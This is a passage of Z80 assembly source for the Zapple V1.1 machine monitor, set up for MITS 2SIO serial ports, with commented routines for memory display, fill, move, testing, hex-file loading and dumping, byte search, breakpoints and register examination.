JP LO ;LIST OUTPUT
JP CSTS ;CONSOLE STATUS
JP IOCHK ;I/O CHECK
JP IOSET ;I/O SET
JP MEMCK ;MEMORY LIMIT CHECK
TRAP: JP RESTART ;BREAKPOINT
;
; ANNOUNCEMENT OF MONITOR NAME & VERSION
MSG: DEFB CR,LF,FIL,FIL,FIL
DEFB 'Zapple V'
DEFB '1.1'
MSGL EQU $-MSG
;
; LET US BEGIN
;
; *NOTE- THE CODE UP TO THE 'IN SENSE' MAY
; BE REPLACED BY ENOUGH CODE TO INITIALIZE
; AN ACIA OR SIO DEVICE. ADDITIONAL DEVICES
; MAY BE INITIALIZED USING THE 'Q' COMMAND.
; (OR STANDARD ROUTINES FOR INITILIZATION
; MAY BE LOADED & EXECUTED IN THE USER AREA).
;
BEGIN:
LD A,3 ;RESET BOTH MITS 2SIO ACIA
OUT (TTS),A
OUT (TTS2),A
LD A,15H ;SET BOTH MITS 2SIO ACIA TO 8N1
OUT (TTS),A
OUT (TTS2),A
;
; LD A,NN ;FOR 'I' REG. IF NEEDED.
; LD I,A
; NOP ;SPARE BYTE
; XOR A ;CLEAR READER CONTROL PORT
; OUT (RCP),A
; IN A,(SENSE) ;INITIALIZE I/O CONFIGURARTION
; OUT (IOBYT),A
;
IN A,(SWITCH) ;INITALIZE I/O CONFIGURATION
LD (IOBYT),A ; FROM FRONT PANEL SENSE SWITCHES
;
LD SP,AHEAD-4 ;SET UP A FAKE STACK
JP MEMSIZ+1 ;GET MEMORY SIZE
DEFW AHEAD
AHEAD: LD SP,HL ;SET TRUE STACK
EX DE,HL
LD BC,ENDX-EXIT
LD HL,EXIT
LDIR ;MOVE TO RAM
EX DE,HL
LD BC,-5FH ;SET UP A USER'S STACK VALUE
ADD HL,BC
PUSH HL ;PRE-LOAD USER'S STACK VALUE
LD HL,0 ;INITIALIZE OTHER REGISTERS
LD B,10 ; (16 OF THEM)
STKIT: PUSH HL ; TO ZERO
DJNZ STKIT
HELLO: LD B,MSGL ;SAY HELLO TO THE FOLKS
CALL TOM ;OUTPUT SIGN-ON MSG
START: LD DE,START ;MAIN 'WORK' LOOP
PUSH DE ;SET UP A RETURN TO HERE
CALL CRLF
LD C,'>'
CALL CO
STARO: CALL TI ;GET A CONSOLE CHARACTER
AND 7FH ;IGNORE NULLS
JR Z,STARO ;GET ANOTHER
SUB 'A' ;QUALIFY THE CHARACTER
RET M ;<A
CP 'Z'-'A'+1
RET NC ;>Z
ADD A,A ;A*2
LD B,0
LD C,A ;POINT TO PLACE ON TABLE
LD HL,TBL ;POINT TO COMMAND TABLE
ADD HL,BC ;ADD IN DISPLACEMENT
LD E,(HL)
INC HL
LD D,(HL)
EX DE,HL ;D&E=ROUTINE ADDRESS
LD C,2 ;SET C UP
JP (HL) ;GO EXECUTE COMMAND
;
; <COMMAND BRANCH TABLE>
;
TBL:
DEFW ASSIGN ;A - ASSIGN I/O
DEFW BYE ;B - SYSTEM SHUT-DOWN
DEFW COMP ;C - COMPARE MEMORY VS. READER INPUT
DEFW DISP ;D - DISPLAY MEMORY ON CONS. IN HEX
DEFW EOF ;E - END OF FILE TAG FOR HEX DUMPS
DEFW FILL ;F - FILL MEMORY WITH A CONSTANT
DEFW GOTO ;G - GOTO [ADDR]<,>BREAKPOINTS (2)
DEFW HEXN ;H - HEX MATH. <SUM>,<DIFFERENCE>
; DEFW J ;I * USER DEFINED, INSERT VECTOR
DEFW ERROR
DEFW TEST ;J - NON-DESTRUCTIVE MEMORY TEST
; DEFW J+3 ;K * USER DEFINED, INSERT VECTOR
DEFW ERROR
DEFW LOAD ;L - MOVE A BINARY FORMAT FILE
DEFW MOVE ;M - MOVE BLOCKS OF MEMORY
DEFW NULL ;N - PUNCH NULLS ON PUNCH DEVICE
; DEFW J+6 ;O * USER DEFINED, INSERT VECTOR
DEFW ERROR
DEFW PUTA ;P - 'PUT' ASCII INTO MEMORY.
DEFW QUERY ;Q - QI(N)=DISP. N; QO(N,V)=OUT N,V
DEFW READ ;R - READ A HEX FILE (W/CHECKSUMS)
DEFW SUBS ;S - SUBSTITUTE &/OR EXAMINE MEMORY
DEFW TYPE ;T - TYPE MEMORY IN ASCII
DEFW UNLD ;U - MEMORY TO PUNCH (BINARY FORMAT)
DEFW VERIFY ;V - COMPARE MEMORY AGAINST MEMORY
DEFW WRITE ;W - MEMORY TO PUNCH (HEX FORMAT)
DEFW XAM ;X - EXAMINE & MODIFY CPU REGISTERS
DEFW WHERE ;Y - FIND SEQUENCE OF BYTES IN RAM
DEFW SIZE ;Z - ADDRESS OF LAST R/W LOCATION
;
;
;
; THIS ROUTINE CONTROLS THE CONFIGURATION
; OF THE VARIOUS I/O DRIVERS & DEVICES. THIS IS
; ACCOMPLISHED VIA A HARDWARE READ/WRITE PORT.
; THIS PORT IS INITIALIZED UPON SIGN-ON
; BY THE VALUE READ ON PORT 'SENSE'. IT MAY BE
; DYNAMICALLY MODIFIED THROUGH CONSOLE COMMANDS.
;
; THE VALUE ON THE 'IOBYT' PORT REPRESENTS THE
; CURRENT CONFIGURATION. IT IS STURCTURED THUSLY:
;
; 000000XX - WHERE XX REPRESENTS THE CURRENT CONSOLE
; 0000XX00 - WHERE XX REPRESENTS THE CURRENT READER
; 00XX0000 - WHERE XX REPRESENTS THE CURRENT PUNCH
; XX000000 - WHERE XX REPRESENTS THE CURRENT LISTER
;
; WHEN USING A MEMORY LOCATION FOR IOBYT, THE
; POLARITY IS REVERSED. FOR AN I/O PORT,
; WHEN XX = 11, THE DEVICE IS ALWAYS THE
; TELEPRINTER. WHEN XX = 00, THE DEVICE IS ALWAYS
; USER DEFINED. SEE OPERATOR'S MANUAL FOR FURTHER
; DETAILS.
;
ASSIGN: CALL TI ;GET DEVICE NAME
LD HL,LTBL ;POINT TO DEVICE TABLE
LD BC,400H ;4 DEVICES TO LOOK FOR
LD DE,5 ;4 DEV. + IDENT.
ASS0: CP (HL) ;LOOK FOR MATCH
JR Z,ASS1
ADD HL,DE ;GO THRU TABLE
INC C ;KEEP TRACK OF DEVICE
DJNZ ASS0
JR ASERR ;WRONG IDENTIFIER
ASS1: LD E,C ;SAVE DEVICE NUMBER
ASS2: CALL TI ;SCAN PAST '='
CP '='
JR NZ,ASS2
CALL TI ;GET NEW ASSIGNMENT
LD BC,400H ;4 POSSIBLE ASSIGNMENTS
ASS3: INC HL ;POINT TO ASSIGNMENT NAME
CP (HL) ;LOOK FOR PROPER MATCH
JR Z,ASS4 ;MATCH FOUND
INC C ;KEEP TRACK OF ASSIGNMENT NMBR
DJNZ ASS3
ASERR: JP ERROR ;NO MATCH, ERROR
ASS4: LD A,3 ;SET UP A MASK
INC E
ASS5: DEC E ;DEVICE IN E
JR Z,ASS6 ;GOT IT
SLA C ;ELSE MOVE MASKS
SLA C
RLA
RLA ;A=DEVICE MASK
JR ASS5
ASS6: CPL ;INVERT FOR AND'ING
LD D,A ;SAVE IN D
ASS7: CALL PCHK ;WAIT FOR [CR]
JR NC,ASS7
CALL IOCHK ;GET PRESENT CONFIGURATION
AND D ;MODIFY ONLY SELECTED DEVICE
OR C ;'OR' NEW BIT PATTERN
LD C,A ;NEW CONFIGURATION
;
; THIS ALLOWS USER PROGRAMS TO MODIFY
; THE I/O CONFIGURATIMN DYNAMICALLY
; DURING EXECUTION.
;
IOSET: LD A,C ;NEW I/O BYTE PASSED IN C REG
; CPL ;WE SAVE THE INVERTED BYTE
; OUT (IOBYT),A ;IN AN I/O PORT LATCH
LD (IOBYT),A ;SAVE NEW I/O BYTE IN MEMORY
RET
;
; THIS RETURNS THE CURRENT I/O
; CONFIGURATION IN THE A REG.
;
IOCHK: ;IN A,(IOBYT) ;GET SAVED VALUE
; CPL ;AND INVERT IT AGAIN
LD A,(IOBYT) ;GET SAVED VALUE
RET
;
; THIS ROUTINE IS USED AS A SIMPLE MEANS TO PREVENT
; UNAUTHORIZED SYSTEM OPERATION. THE SYSTEM LOCKS UP,
; MONITORING FOR A 'CONT.-SHIFT-N', AT WHICH TIME IT
; WILL SIGN-ON AGAIN. NO REGISTER ASSIGNMENTS OR I/O
; CONFIGURATIONS WILL BE ALTERED.
;
BYE: CALL CRLF
BY1: CALL KI
CP 1EH ;CONTROL-SHIFT-N
JR NZ,BY1
POP DE ;REMOVE THE RETURN
JP HELLO ;AND SIGN-ON AGAIN
;
; THIS ALLOWS ENTERING OF ASCII TEXT INTO MEMORY
; FROM THE CONSOLE DEVICE. THE PARITY BIT IS CLEARED,
; AND ALL WILL BE STORED EXCEPT THE BACK-ARROR [_]
; WHICH DELETES THE PREVIOUS CHARACTER, AND
; CONTROL-D, WHICH RETURNS CONTROL TO THE MONITOR.
; THIS COMMAND, COMBINED WITH THE 'Y' COMMAND,
; PROVIDES A RUDIMENTARY TEXT PROCESSING ABILITY.
;
PUTA: CALL EXPR1 ;GET THE STARTING ADDR.
CALL CRLF
POP HL
PUTA1: CALL KI ;GET A CHARACTER
CP 4 ;CONTROL-D? (EOT)
JP Z,LFADR ;YES, STOP & PRINT
CP '_' ;ERASE MISTAKE?
JR Z,PUTA3 ; YES.
LD (HL),A ;ELSE STORE IT IN MEMORY
LD C,A
INC HL
PUTA2: CALL CO ;ECHO ON CONSOLE
JR PUTA1
PUTA3: DEC HL
LD C,(HL)
JR PUTA2 ;ECHO & CONTINUE
;
; THIS ROUTINE COMPARES THE READER INPUT
; DEVICE WITH THE MEMORY BLOCK SPECIFIED.
; IT TESTS ALL EIGHT BITS, AND ANY DISCREPENCIES
; WILL BE OUTPUT TO THE CONSOLE. THIS IS USEFUL
; WHEN USED WITH THE BINARY DUMP FORMAT TO BOTH
; VERIFY PROPER READING & STORAGE, OR TO DETECT
; PROGRAM CHANGES SINCE IT WAS LAST LOADED.
;
COMP: CALL EXLF ;GET START ' STOP ADDR.
COM1: CALL RIFF ;GET A FULL READER BYTE
CP (HL) ;8 BIT COMPARE
CALL NZ,CERR ;CALL IF INVALID COMPARE
CALL HILOX ;SEE IF RANGE SATISFIED
JR COM1
;
; THIS SUBROUTINE IS USED TO DISPLAY THE
; CURRENT LOCATION OF THE 'M' REGISTER POINTER (HL),
; AND THE VALUE AT THE LOCATION, AND THE CONTENTS
; OF THE ACCUMULATOR. USED BY TWO ROUTINES.
;
CERR: LD B,A ;SAVE ACC.
CALL HLSP ;DISPLAY H&L
LD A,(HL)
CALL LBYTE ;PRINT 'M'
CALL BLK ;SPACE OVER
LD A,B
CALL LBYTE ;PRINT ACC.
JP CRLF ;CRLF & RETURN
;
; THIS DISPLAYS THE CONTENTS OF MEMORY IN BASE HEX
; WITH THE STARTING LOCATION ON EACH LINE. (BETWEEN
; THE TWO PARAMETERS GIVEN). 16 BYTES PER LINE MAX.
;
DISP: CALL EXLF ;GET DISPLAY RANGE
DIS0: CALL LFADR ;CRLF & PRINT ADDR.
DIS1: CALL BLK ;SPACE OVER
LD A,(HL)
CALL LBYTE
CALL HILOX ;RANGE CHECK
LD A,L
AND 0FH ;SEE IF TIME TO CRLF
JR NZ,DIS1
JR DIS0
;
; THIS OUTPUTS THE END OF FILE (EOF) PATTERN
; FOR THE CHECKSUM LOADER. IT IS USED AFTER
; PUNCHING A BLOCK OF MEMORY WITH THE 'W'
; COMMAND. AN ADDRESS PARAMETER MAY BE GIVEN,
; AND UPON READING, THIS ADDRESS WILL BE
; AUTOMATICALLY PLACED IN THE 'P' COUNTER. THE
; PROGRAM CAN THEN BE RUN WITH A SIMPLE 'G[CR]'
; COMMAND.
;
EOF: CALL EXPR1 ;GET OPTIONAL ADDR.
CALL PEOL ;CRLF TO PUNCH
LD C,':' ;FILE MARKER CUE
CALL PUO
XOR A ;ZERO LENGTH
CALL PBYTE
POP HL
CALL PADR ;PUNCH OPTIONAL ADDR.
LD HL,0 ;FILE TYPE=0
CALL PADR ;PUNCH IT
JP NULL ;TRAILER & RETURN
;
; THIS COMMAND WILL FILL A BLOCK OF MEMORY
; WITH A VALUE. IE: FO,1FFF,0 FILLS FROM
; <1> TO <2> WITH THE BYTE <3>. HANDY FOR
; INITIALIZING A BLOCK TO A SPECIFIC VALUE, OR
; MEMORY TO A CONSTANT VALUE BEFOR LOADING
; A PROGRAM. (ZERO IS ESPECIALLY USEFUL.)
;
FILL: CALL EXPR3 ;GET 3 PARAMETERS
FI1: LD (HL),C ;STORE THE BYTE
CALL HILO
JR NC,FI1
POP DE ;RESTORE STACK
JP START ; IN CASE OF ACCIDENTS
;
; THIS COMMAND ALLOWS EXECUTION OF ANOTHER
; PROGRAM WHILE RETAINING SOME MONITOR
; CONTROL BY SETTING BREAKPOINTS.
;
; TO SIMPLY EXECUTE, TYPE 'G<ADDR>[CR]'. TO SET
; A BREAKPOINT TRAP, ADD THE ADDRESS(ES) TO THE
; COMMAND. IE: G<ADDR>,<BKPT>[CR]. TWO BREAKPOINTS
; ARE ALLOWED, ENOUGH TO SATISFY MOST REQUIREMENTS.
; ONCE A BREAKPOINT HAS BEEN REACHED, THE
; REGISTERS MAY BE EXAMINED OR MODIFIED. THE
; PROGRAM CAN THEN BE CONTINUED BY TYPING ONLY
; A 'G[CR]'. OR ANOTHER BREAKPOINT COULD BE
; IMPLEMENTED AT THAT TIME BY TYPING 'G,<BKPT>[CR]'.
;
; *NOTE: THIS IS SOFTWARE CONTROLLED, AND THE
; BREAKPOINT MUST OCCUR ON AN INSTRUCTION
; BYTE.
;
GOTO: CALL PCHK ;GET A POSSIBLE ADDRESS
JR C,GOT3 ;CR ENTERED
JR Z,GOT0 ;DELIMITER ENTERED
CALL EXF ;GET ONE EXPRESSION
POP DE
LD HL,PLOC ;PLACE ADDRESS IN 'P' LOCATION
ADD HL,SP
LD (HL),D ;HIGH BYTE
DEC HL
LD (HL),E ;LOW BYTE
LD A,B
CP CR ;SEE IF LAST CHARACTER WAS A CR
JR Z,GOT3 ;YES, LEAVE
GOT0: LD D,2 ;TWO BREAKPOINTS MAX
LD HL,TLOC ;POINT TO TRAP STORAGE
ADD HL,SP
GOT1: PUSH HL ;SAVE STORAGE POINTER
CALL EXPR1 ;GET A TRAP ADDRESS
LD E,B ;SAVE DELIMITER
POP BC ;TRAP ADDR.
POP HL ;STORAGE
LD A,B ;LOOK AT TRAP ADDR
OR C
JR Z,GOT2 ;DON'T SET A TRAP AT 0
LD (HL),C ;SAVE BKPT ADDR
INC HL
LD (HL),B
INC HL
LD A,(BC) ;PICK UP INST. BYTE
LD (HL),A ;SAVE THAT TOO
INC HL
LD A,0FFH ;RST 7
LD (BC),A ;SOFTWARE INTERUPT
GOT2: LD A,E ;LOOK AT DELIMITER
CP CR
JR Z,GOT2A
DEC D ;COUNT BKPTS
JR NZ,GOT1 ;GET ONE MORE
GOT2A: LD A,0C3H ;SET UP JUMP INSTRUCTION
LD (RST7),A ; AT RESTART TRAP LOC.
LD HL,TRAP ; TO MONITOR VECTOR
LD (RST7+1),HL
GOT3: CALL CRLF
POP DE ;CLEAR SYSTEM RETURN
LD HL,22 ;FIND 'EXIT' ROUTINE
ADD HL,SP ;UP IN STACK
JP (HL) ;GO SOMPLACE
;
; THIS IS A 'QUICKIE' MEMORY TEST TO SPOT
; HARD MEMORY FAILURES, OR ACCIDENTLY
; PROTECTED MEMORY LOCATIONS. IT IS NOT
; MEANT TO BE THE DEFINITIVE MEMORY DIAGNOSTIC.
; IT IS, HOWEVER, NON-DESTRUCTIVE. ERRORS ARE
; PRINTED ON THE CONSOLE AS FOLLOWS-
; <ADDR> 00000100 WHERE <1> IS THE BAD BIT.
; BIT LOCATION OF THE FAILURE IS EASILY
; DETERMINED. NON-R/W MEMORY WILL RETURN
; WITH- 11111111
;
TEST: CALL EXLF ;GET TWO PARAMS
TEST1: LD A,(HL) ;READ A BYTE
LD B,A ;SAVE IN B REG.
CPL
LD (HL),A ;READ/COMPLIMENT/WRITE
XOR (HL) ; & COMPARE
JR Z,TEST2 ;SKIP IF ZERO (OK)
PUSH DE ;SAVE END POINTER
LD D,B ;SAVE BYTE
LD E,A ;SET-UP TO DISPLAY
CALL HLSP ;PRINT BAD ADDR
CALL BITS ;PRINT BAD BIT LOC.
CALL CRLF
LD B,D ;RESTORE BYTE
POP DE ;RESTORE DE
TEST2: LD (HL),B ;REPLACE BYTE
CALL HILOX ;RANGE TEST
JR TEST1
;
; THIS COMMAND MOVES MASS AMOUNTS OF MEMORY
; FROM <1> THRU <2> TO THE ADDRESS STARTING
; AT <3>. THIS ROUTINE SHOULD BE USED WITH
; SOME CAUTION, AS IT COULD SMASH MEMORY IF
; CARLESSLY IMPLEMENTED.
;
; M<1>,<2>,<3>
;
MOVE: CALL EXPR3 ;GET 3 PARAMETERS
MO1: LD A,(HL) ;PICK UP
LD (BC),A ;PUT DOWN
INC BC ;MOVE UP
CALL HILOX ;CHECK IF DONE
JR MO1
;
; THIS COMMAND READS THE CHECK-SUMMED HEX FILES
; FOR BOTH THE NORMAL INTEL FORMAT AND THE TDL
; RELOCATING FORMAT. ON BOTH FILES, A 'BIAS' MAY
; BE ADDED, WHICH WILL CAUSE THE OBJECT CODE TO
; BE PLACED IN A LOCATION OTHER THAN ITS
; INTENDED EXECUTION LOCATION. THE BIAS IS ADDED
; TO WHAT WOULD HAVE BEEN THE NORMAL LOADING
; LOCATION, AND WILL WRAP AROUND TO ENABLE
; LOADING ANY PROGRAM ANYWHERE IN MEMORY.
;
; WHEN LOADING A RELOCATABLE FILE, AN ADDITIONAL
; PARAMETER MAY BE ADDED, WHICH REPRESENTS THE
; ACTUAL EXECUTION ADDRESS DESIRED. THIS ALSO MAY
; BE ANY LOCATION IN MEMORY.
;
; EXAMPLES:
;
; R[CR] =0 BIAS, 0 EXECUTION ADDR.
; R<ADDR1>[CR] =<1>BIAS, 0 EXECUTION ADDR.
; R,<ADDR1>[CR] =0 BIAS, <1> EXECUTION ADDR.
; R<ADDR1>,<ADDR2>[CR] =<1>BIAS, <2>EXECUTION ADDR.
;
READ: CALL EXPR1 ;GET BIAS, IF ANY
LD A,B ;LOOK AT DELIMITER
SUB CR ;ALL DONE?
LD B,A ;SET UP RELOCATION OF 0
LD C,A ; IF CR ENTERED
POP DE ;BIAS AMOUNT
JR Z,REA0 ;CR ENTERED
CALL EXPR1 ;GET RELOCATION
POP BC ;ACTUAL RELOCATION VALUE
REA0: EX DE,HL
EXX ;HL'=BIAS, BC'=RELOCATION
CALL CRLF
LOD0: CALL RIX ;GET A CHARACTER
SUB ':' ;ABSOLUTE FILE CUE?
LD B,A ;SAVE CUE CLUE
AND 0FEH ;KILL BIT 0
JR NZ,LOD0 ; NO, KEEP LOOKING
LD D,A ;ZERO CHECKSUM
CALL SBYTE ;GET FILE LENGTH
LD E,A ;SAVE IN E REG.
CALL SBYTE ;GET LOAD MSB
PUSH AF ;SAVE IT
CALL SBYTE ;GET LOAD LSB
EXX ;CHANGE GEARS
POP DE ;RECOVER MSB
LD E,A ;FULL LOAD ADDR
PUSH BC ;BC'=RELOCATION
PUSH DE ;DE'=LOAD ADDR
PUSH HL ;HL'=BIAS
ADD HL,DE ; BIAS+LOAD
EX (SP),HL ;RESTORE HL'
POP IX ; X=BIAS+LOAD
EXX ;DOWNSHIFT
POP HL ;HL=LOAD ADDR
CALL SBYTE ;GET FILE TYPE
DEC A ;1=REL. FILE, 0=ABS.
LD A,B ;SAVE CUE BIT
POP BC ;BC=RELOCATION
JR NZ,ABS0 ;ABSOLUTE FILE
ADD HL,BC ;ELSE RELOCATE
ADD IX,BC ;BOTH X & HL
ABS0: INC E ;TEST LENGHT
DEC E ;0=DONE
JR Z,DONE
DEC A ;TEST CUE
JR Z,LODR ;RELATIVE
LLO1: CALL SBYTE ;NEXT
CALL STORE ;STORE IT
JR NZ,LLO1 ;MORE COMING
LOD4: CALL SBYTE ;GET CHECKSUM
JR Z,LOD0 ;GOOD CHECKSUM
ERR3: PUSH IX
POP HL ;TRANSFER
CALL LADR ;PRINT CURRENT LOAD ADDR
ERR2: JP ERROR ;ABORT
DONE: LD A,H ;DON'T MODIFY IF ZERO
OR L
RET Z
EX DE,HL ;ELSE STORE IN PC
LD HL,PLOC
ADD HL,SP
LD (HL),D ;IN STACK AREA
DEC HL
LD (HL),E
RET
LODR: LD L,1 ;SET-UP BIT COUNTER
LOD1: CALL LODCB ;GET THE BIT
JR C,LOD3 ;DOUBLE BIT
LOD5: CALL STORE ;WRITE IT
JR NZ,LOD1
JR LOD4 ;TEST CHECKSUM
LOD3: LD C,A ;SAVE LOW BYTE
CALL LODCB ;NEXT CONTROL BIT
LD B,A ;SAVE HIGH BYTE
EXX
PUSH BC ;GET RELOCATION
EXX
EX (SP),HL ;INTO HL
ADD HL,BC ;RELOCATE
LD A,L ;LOW BYTE
CALL STORE ;STORE IT
LD A,H ;HIGH BYTE
POP HL ;RESTORE HL
JR LOD5 ;DO THIS AGAIN
LODCB: DEC L ;COUNT BITS
JR NZ,LC1 ;MORE LEFT
CALL SBYTE ;GET NEXT
DEC E ;COUNT BYTES
LD H,A ;SAVE THE BITS
LD L,8 ;8 BITS/BYTE
LC1: CALL SBYTE ;GET A DATA BYTE
SLA H ;TEST NEXT BIT
RET
SBYTE: PUSH BC ;PRESERVE BC
CALL RIBBLE ;GET A CONVERTED ASCII CHAR.
RLCA
RLCA
RLCA
RLCA ;MOVE IT TO HIGH NIBBLE
LD C,A ;SAVE IT
CALL RIBBLE ;GET OTHER HALF
OR C ;MAKE WHOLE
LD C,A ;SAVE AGAIN IN C
ADD A,D ;UPDATE CHECKSUM
LD D,A ;NEW CHECKSUM
LD A,C ;CONVERTED BYTE
POP BC
RET
STORE: LD (IX+0),A ;WRITE TO MEMORY
CP (IX+0) ;VALID WRITE?
JR NZ,ERR3 ; NO.
INC IX ;ADVANCE POINTER
DEC E ;COUNT DOWN
RET
;
; THIS ROUTINE ALLOWS BOTH INSPECTION OF &
; MODIFICATION OF MEMORY ON A BYTE BY BYTE
; BASIS. IT TAKES ONE ADDRESS PARAMETER,
; FOLLOWED BY A SPACE. THE DATA AT THAT
; LOCATION WILL BE DISPLAYED. IF IT IS
; DESIRED TO CHANGE IT, THE VALUE IS THEN
; ENTERED. A FOLLOWING SPACE WILL DISPLAY
; THE NEXT BYTE. A CARRIAGE RETURN [CR]
; WILL TERMINATE THE COMMAND. THE SYSTEM
; ADDS A CRLF AT LOCATIONS ENDING WITH EITHER
; XXX0 OR XXX8. TO AID IN DETERMINING THE
; PRESENT ADDRESS, IT IS PRINTED AFTER
; EACH CRLF. A BACKARROW [_] WILL BACK
; UP THE POINTER AND DISPLAY THE
; PREVIOUS LOCATION.
;
SUBS: CALL EXPR1 ;GET STARTING ADDR
POP HL
SUB0: LD A,(HL)
CALL LBYTE ;DISPLAY THE BYTE
CALL COPCK ;MODIFY?
RET C ; NO, ALL DONE
JR Z,SUB1 ;DON'T MODIFY
CP 05FH ;BACKUP?
JR Z,SUB2
PUSH HL ;SAVE POINTER
CALL EXF ;GET NEW VALUE
POP DE ;VALUE IN E
POP HL
LD (HL),E ;MODIFY
LD A,B ;TEST DELIMITER
CP CR
RET Z ;DONE
SUB1: INC HL
SUB3: LD A,L ;SEE IF TIME TO CRLF
AND 7
CALL Z,LFADR ;TIME TO CRLF
JR SUB0
SUB2: DEC HL ;DECREMENT POINTER
JR SUB3 ;AND PRINT DATA THERE.
;
; THIS ROUTINE TRANSLATES THE DATA IN
; MEMORY TO AN ASCII FORMAT. ALL NON-
; PRINTING CHARACTERS ARE CONVERTED TO
; PERIODS. [.]
; THERE ARE 64 CHARACTERS PER LINE.
;
TYPE: CALL EXLF ;DISPLAY RANGE
TYP0: CALL LFADR ;DISPLAY ADDRESS
LD B,64 ;CHARACTERS PER LINE
TYP1: LD A,(HL)
AND 7FH ;KILL PARITY BIT
CP ' ' ;RANGE TEST
JR NC,TYP3 ;=>SPACE
TYP2: LD A,'.' ;REPLACE NON-PRINTING
TYP3: CP 07CH ;ABOVE LOWER CASE Z
JR NC,TYP2
LD C,A ;SEND IT
CALL CO
CALL HILOX ;MORE TO GO?
DJNZ TYP1 ;SEE IF TIME TO CRLF
JR TYP0 ;YES
;
; THIS IS A HEXADECIMAL SEARCH ROUTINE. IT
; TAKES NO ADDRESS PARAMETERS. AS MANY
; BYTES MAY BE ENTERED, SEPARATED BY A COMMA,
; AS DESIRED. THE MAXIMUM IS 255, BUT 3-4 IS
; TYPICAL, AND MORE THAN 12 WOULD BE UNUSUAL.
; THE ENTIRE MEMORY IS SEARCHED STARTING
; FROM ZERO, AND ALL STARTING ADDRESSES OF EACH
; OCCURANCE OF THE SEARCH STRING ARE PRINTED
; ON THE CONSOLE DEVICE.
;
WHERE: LD D,0 ;COUNT SEARCH STRING
WHER0: CALL EXPR1 ;GET ONE BYTE
POP HL ;PICK IT UP
LD H,L ;STICK IN HIGH BYTE
PUSH HL ;PUT IT IN STACK
INC SP ;ADJUST STACK
INC D ;COUNT UP
LD A,B ;TEST DELIMITER
SUB CR
JR NZ,WHER0 ;MORE TO GO
LD B,A ;CHEAP ZEROS
LD C,A
LD H,A
LD L,D ;GET BYTE COUNT IN L
DEC L ;-1
ADD HL,SP ;BYTES STORED IN STACK
PUSH HL
PUSH BC
FINDC: PUSH BC ;SAVE THAT POINTER
CALL CRLF
POP BC ;RESTORE
FIND: POP HL ;HL=SEARCH ADDR
POP IX ;X=SEARCH BYTE POINTER
LD E,D ;RESET COUNTER
LD A,(IX+0) ;GET THE FIRST SEARCH BYTE
CPIR ;COMPARE, INCR., & REPEAT
JP PO,DONE ;ODD PARITY=DONE
PUSH IX ;SAVE POINTERS
PUSH HL
FOUND: DEC E
JR Z,TELL ;FOUND ALL
LD A,(IX+-1) ;LOOK AT NEXT MATCH
CP (HL) ;TEST NEXT
JR NZ,FIND ;NO MATCH
INC HL ;BUMP POINTERS
DEC IX
JR FOUND ;TEST NEXT MATCH
TELL: POP HL
PUSH HL
DEC HL
PUSH BC ;SAVE SEARCH COUNT LIMIT
CALL LADR ;TELL CONSOLE
POP BC ;RESTORE
JR FINDC
DONE2: INC SP
DEC E ;RESET STACK
JR NZ,DONE2
RET
;
; THIS ROUTINE DUMPS MEMORY IN THE STANDARD
; INTEL HEX-FILE FORMAT. A START & END
; PARAMETER IS REQUIRED. AT THE CONCLUSION
; OF THE DUMP, AN "END OF FILE" SHOULD BE
; GENERATED WITH THE "E" COMMAND.
;
WRITE: CALL EXLF ;GET TWO PARAMETERS
CALL WAIT ;PAUSE IF TTY CONFIGURATION
WRT0: CALL PEOL ;CRLF TO PUNCH
LD BC,':' ;START OF FILE
CALL PUO ;PUNCH IT
PUSH DE ;SAVE
PUSH HL ;POINTERS
WRT1: INC B ;CALCULATE FILE LENGTH
CALL HILO
JR C,WRT4 ;SHORT FILE
LD A,24 ;24 BYTES PER FILE
SUB B ;ENOUGH YET?
JR NZ,WRT1 ; NO.
POP HL ;GET START ADDR BACK.
CALL WRT2 ;SEND THE BLOCK
POP DE ;RESTORE END OF FILE POINTER
JR WRT0 ;KEEP GOING
WRT2: LD D,A ;INITIALIZE CHECKSUM
LD A,B ;FILE LENGTH
CALL PBYTE ;PUNCH IT
CALL PADR ;PUNCH ADDRESS
XOR A ;FILE TYPE=0
CALL PBYTE ;PUNCH IT
WRT3: LD A,(HL) ;GET A DATA BYTE
CALL PBYTE ;PUNCH IT
INC HL ;POINT TO NEXT BYTE
DJNZ WRT3 ;DECREMENT FILE COUNT
XOR A
SUB D ;CALCULATE CHECKSUM
JP PBYTE ;PUNCH IT, RETURN
WRT4: POP HL ;CLEAR STACK
POP DE ; OF POINTERS
XOR A ;SET UP A
JR WRT2 ;FINISH UP & RETURN
;
;
; THIS ROUTINE ALLOWS DISPLAYING THE
; USER'S CPU REGISTERS. THEY ALSO MAY BE
; USING THE REGISTER NAME AFTER TYPEING THE "X".
; I.E. XA 00-
; THE REGISTER MAY BE SKIPPED OVER, OR MODIFIED,
; SIMILARLY TO THE "S" COMMAND.
;
; TO DISPLAY THE "NORMAL" SYSTEM STATUS,
; SIMPLY TYPE "X[CR]". TO DISPLAY THE
; ADDITIONAL Z-80 REGISTERS, FOLLOW
; THE "X" WITH AN APOSTROPHE. I.E. "X'[CR]",
; OR TO EXAMINE A SINGLE "PRIME" REGISTER,
; TYPE THE REGISTER IDENTIFIER AFTER THE
; APOSTROPHE. I.E. X'X 0000-
;
; THESE REGISTER VALUES ARE PLACED INTO THE CPU
; UPON EXECUTING ANY "GO" COMMAND. [G]
;
XAM: CALL TI
LD HL,ACTBL
CP CR ;FULL REG. DISPLAY
JR Z,XAM6
CP 27H ;SEE IF PRIMES WANTED
JR NZ,XAM0
LD HL,PRMTB
CALL TI
CP CR ;FULL REG. DISPLAY
JR Z,XAM6
XAM0: CP (HL) ;TEST FOR REGISTER NAME
JR Z,XAM1
BIT 7,(HL) ;SEE IF END OF TABLE
JP NZ,ERROR
INC HL
INC HL
JR XAM0
XAM1: CALL BLK
XAM2: INC HL
LD A,(HL)
LD B,A ;SAVE FOR FLAGS
AND 3FH ;CLEAR FLAGS FOR BIAS
EX DE,HL
LD L,A ;DISPLACEMENT FROM STACK
LD H,0
ADD HL,SP
EX DE,HL
INC HL
LD A,(DE) ;PICK UP REG. VALUE
CALL LBYTE ;PRINT IT
BIT 7,B
JR Z,XAM3
DEC DE
LD A,(DE)
CALL LBYTE
XAM3: CALL COPCK ;MODIFY
RET C ;CR ENTERED, ALL DONE
JR Z,XAM5 ;SKIP TO NEXT REG.
PUSH HL
PUSH BC
CALL EXF ;GET NEW VALUE
POP HL
POP AF
PUSH BC
PUSH AF
LD A,L
LD (DE),A
POP BC
BIT 7,B ;SEE IF 8 BIT OR 16 BIT REG.
JR Z,XAM4 ;8 BIT
INC DE
LD A,H ;HIGH BYTE OF 16 BIT REG.
LD (DE),A
XAM4: POP BC
POP HL
